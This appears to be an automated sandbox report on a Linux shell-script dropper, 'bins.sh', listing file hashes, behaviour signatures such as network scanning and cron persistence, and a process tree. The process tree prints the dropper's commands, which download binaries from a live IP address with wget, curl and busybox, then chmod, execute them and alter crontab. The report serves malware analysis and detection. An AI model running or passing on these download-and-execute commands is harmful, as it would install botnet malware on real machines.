Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 04:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b164ba45909c2c3923c1328c84712f04

  • SHA1

    6c7aa04d410f4e2f7c66291e784eda77d29c0ea3

  • SHA256

    c78dfecb3f191e715bcb5c289d282871c859640c7d41a463db38e3d9daad3dee

  • SHA512

    ddb359eeca5e1e44ea04e720bc6eb7ad5117851fc7991fed872de68277f8606e4c5a437e148d9f932388a62e00fe80f30ba31ca5d225b3783e1310eade95907e

  • SSDEEP

    192:CN5mNFBzT2MUNQs+aRaLvbLU8Pa2h5dbzXGN5mNFjOMUNQsDcLvrU8Pa2N5dl:CN5mNFBzT2MUNQs+aRS35dbzXGN5mNFr

Malware Config

Signatures

  • Contacts a large (2132) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:720
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:724
        • /usr/bin/wget
          wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:726
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:752
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:754
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:755
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:756
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:757
              • /bin/rm
                rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
                2⤵
                  PID:761
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                  2⤵
                    PID:843
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                    2⤵
                      PID:852

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                    Filesize

                    151KB

                    MD5

                    3c90d5820bddcf7c5d1bd21dfa49d958

                    SHA1

                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                    SHA256

                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                    SHA512

                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                  • /var/spool/cron/crontabs/tmp.IDzWtb

                    Filesize

                    210B

                    MD5

                    891d4a89e2b3c0424626d0ec75ad64f6

                    SHA1

                    ebd971248540e7c867c246d0ae136276314fe285

                    SHA256

                    59478495418eb662f869ac18ef3763bc1d2ddb4ad192d5aab2cf595eb623956a

                    SHA512

                    5f38d9bb851bbc6b721c1893d64e5bfbfb4ad9e8a5e52da42c7577e8942b92af1f6be9e90c1b8a1e242c99e4497b9b1a71226d9d2bd89d03132a330d7ca08aa6